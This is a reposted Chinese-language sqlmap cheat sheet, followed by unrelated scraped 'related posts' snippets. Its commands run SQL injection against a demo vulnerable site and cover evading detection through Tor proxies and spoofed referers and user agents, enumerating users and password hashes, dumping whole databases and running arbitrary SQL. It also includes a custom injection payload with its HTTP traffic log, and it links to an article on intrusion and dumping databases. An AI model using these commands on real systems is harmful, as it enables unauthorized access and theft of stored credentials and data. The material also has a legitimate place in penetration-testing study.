SQLMAP实用实例(转)
sqlmap使用笔记:http://wenku.baidu.com/view/8c507ffcaef8941ea76e055e.html
BT5下使用SQLMAP入侵加脱裤:http://www.myhack58.com/Article/html/3/8/2012/35350_4.htm
sqlmap.exe --help 帮助
sqlmap.exe --update 更新
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --sql-shell //执行SQL语句
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 5 //更详细的信息
从配置文件载入相关选项设置
sqlmap -c sqlmap.conf
使用POST方法提交
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php" --method POST --data "artist=1"
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php" --cookie "artist=1" -v 1
使用referer欺骗
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --referer "http://www.google.com" -v 3
使用自定义user-agent,或者使用随机使用自带的user-agents.txt
sqlmap.exe
-u "http://testphp.acunetix.com/listproducts.php?artist=1" --user-agent
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -a "./txt/user-agents.txt"
使用基本认证
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3
使用Digest认证
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3
使用代理,配合TOR
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --proxy "http://192.168.1.47:3128"
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --proxy "http://192.168.1.47:8118"
使用多线程猜解
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --current-user --threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -p "id"
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1&cat=2" -v 1 -p "cat,id"
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
指定数据库,绕过SQLMAP的自动检测
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 2 --dbms "MYSQL"
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
指定操作系统,绕过SQLMAP自动检测
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 2 --os "Windows"
* Linux
* Windows
自定义payload
Options: --prefix and --postfix
In
some circumstances the vulnerable parameter is exploitable only if the
user provides a postfix to be appended to the injection payload. Another
scenario where these options come handy presents itself when the user
already knows that query syntax and want to detect and exploit the SQL
injection by directly providing a injection payload prefix and/or
postfix.
Example on a MySQL 5.0.67 target on a page where the SQL
query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] .
"') LIMIT 0, 1";:
sqlmap.exe -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "'" --postfix "AND 'test'='test"
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1') AND 7433=7433 AND ('test'='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
In this simple example, sqlmap
could detect the SQL injection and exploit it without need to provide a
custom injection payload, but sometimes in the real world application
it is necessary to provide it.
页面比较
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --string "luther" -v 1
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --regexp "lu[\w][\w]er" -v
排除网站的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --excl-reg "Dynamic content: ([\d]+)"
多语句测试,php内嵌函数mysql_query(),不支持多语句
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --stacked-test -v 1
union注入测试
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --union-test -v 1
unionz注入配合orderby
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --union-test --union-tech orderby -v 1
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --union-use --banner
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 5 --union-use --current-user
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --union-use --dbs
数据库指纹输出
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -f
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -f -b
判断当前用户是否是dba
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --is-dba -v 1
列举数据库用户
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --users -v 0
列举数据库用户密码
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --passwords -v 0
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --passwords -U sa -v 0
查看用户权限
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --privileges -v 0
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --privileges -U postgres -v 0
列数据库
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dbs -v 0
列出指定数据库指定表的列名
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --columns -T users -D test -v 1
导出数据库指定表的指定列的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump -T users -D master -C username -v 0
导出指定列的范围从2-4
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump -T users -D test --start 2 --stop 4 -v 0
导出所有数据库,所有表的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump-all --exclude-sysdbs -v 0
使用自定义sql语句查询
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --sql-query "SELECT usename FROM user" -v 0
sqlmap.exe
-u "http://testphp.acunetix.com/listproducts.php?artist=1" --sql-query
"SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1
保存和恢复会话
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -b -v 1 -s "sqlmap.log"
保存选项到INC配置文件
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -b -v 1 --save
SQLMAP实用实例(转)的更多相关文章
- jQuery UI 入门之实用实例分享
jQuery UI 入门 jQuery UI 简介 jQuery UI 是一个建立在 jQuery JavaScript 库上的小部件和交互库,您可以使用它创建高度交互的 Web 应用程序.无论您是创 ...
- jQuery UI 入门之实用实例
jQuery UI 入门 jQuery UI 简介 jQuery UI 是一个建立在 jQuery JavaScript 库上的小部件和交互库,您可以使用它创建高度交互的 Web 应用程序.无论您是创 ...
- Python操作MySQL数据库9个实用实例
用python连接mysql的时候,需要用的安装版本,源码版本容易有错误提示.下边是打包了32与64版本. MySQL-python-1.2.3.win32-py2.7.exe MySQL-pytho ...
- 关于JS递归函数细化认识及实用实例
程序调用自身的编程技巧称为递归( recursion). 一个过程或函数在其定义或说明中又直接或间接调用自身的一种方法,它通常把一个大型复杂的问题层层转化为一个与原问题相似的规模较小的问题来求解,递归 ...
- jackson的简单实用实例(json)
一个json格式的字符串比如: {"status":10001,"code":"HDkGzI","pubkey":&qu ...
- Ajax的简单实用实例
我将实现一个简单的Ajax页面无刷新进行用户验证案例: 效果如下图:
- python--Numpy简单实用实例
# _*_ coding:utf-8 _*_ import numpy as np #创建数组 a=np.array([[1.,7.,0.],[-2.,1.,2.]]) print a #ndarra ...
- Linxu下 expect的实用实例_1
案例 例1:从本机自动登录到远程机器192.168.1.200(端口是22,密码是:PASSWORD)登录到远程机器后做以下几个操作:1)useradd wangshibo2)mkdir /opt/t ...
- CSS 实用实例
背景颜色 1. 颜色背景 <style type="text/css">body { font-size: 16px;">h1 { font-size: ...
随机推荐
- E-BOM和M-BOM的区别
简单一点,ENG BOM一般用于试产,正式BOM一般用于量产:ENG BOM是FOR RD设计用的.即TEMP档.并非正式区的.一般的电子零件类的企业都会用到ENG BOM.在EBS中,ENG BOM ...
- 网站开发中的相对URL问题--JSP
问题描述: 入门网站开发时,我们会在相对URL问题上有疑惑.例如,在一个jsp页面中引入css外部文件, <link rel="stylesheet" hr ...
- poj1151Atlantis(离散化+扫描线)
http://poj.org/problem?id=1151 http://www.cnblogs.com/kane0526/archive/2013/02/26/2934214.html这篇博客写的 ...
- poj2352
纪念树状数组初步(……): 这题已经给了y升序,y相同时x升序,(yeah) 所以容易想到O(n^2)的模拟算法: 其实分析一下就是对于当前xi,统计之前有多少个小于等于xi(因为已经保证了没有相同坐 ...
- Java web 项目 tomcat部署方式.
本地做Java Web项目的时候常常会用到tomcat部署测试的问题, 这里介绍项目的部署方法: 1,配置文件的形式: 例如: 你的项目目录为:f:\workspaces\MyProject,此时使用 ...
- POJ3279 Fliptile 枚举+简单搜索
题意:一个矩阵,每个点1或0,然后每次翻一个点,它周围上下左右(包括自己)1->0,0->1,问最少翻几次可以矩阵全是0,忽略题目说的字典序 分析:枚举第一行所有的情况,然后下面几行也随之 ...
- adaboost学习资料收集
很通俗易懂的一篇博文 http://blog.csdn.net/haidao2009/article/details/7514787 百度搜索研发部的一篇文章 http://stblog.baidu- ...
- 2015北京网络赛B题 Mission Impossible 6
借用大牛的一张图片:模拟 #include<cstdio> #include<cmath> #include<cstring> #include<algori ...
- dateline 在数据库中就是 整型字段。date函数是可以转换成可读日期的。
返回数据中的dateline全部用date()函数转换后再返回,是要嵌套循环还是遍历,代码怎么写? //查询我的活动 function user_activity_info_by_uid($uid){ ...
- 【转载】解析提高PHP执行效率的50个技巧
1.用单引号代替双引号来包含字符串,这样做会更快一些.因为PHP会在双引号包围的字符串中搜寻变量, 单引号则不会,注意:只有echo能这么做,它是一种可以把多个字符串当作参数的”函数”(译注:PHP手 ...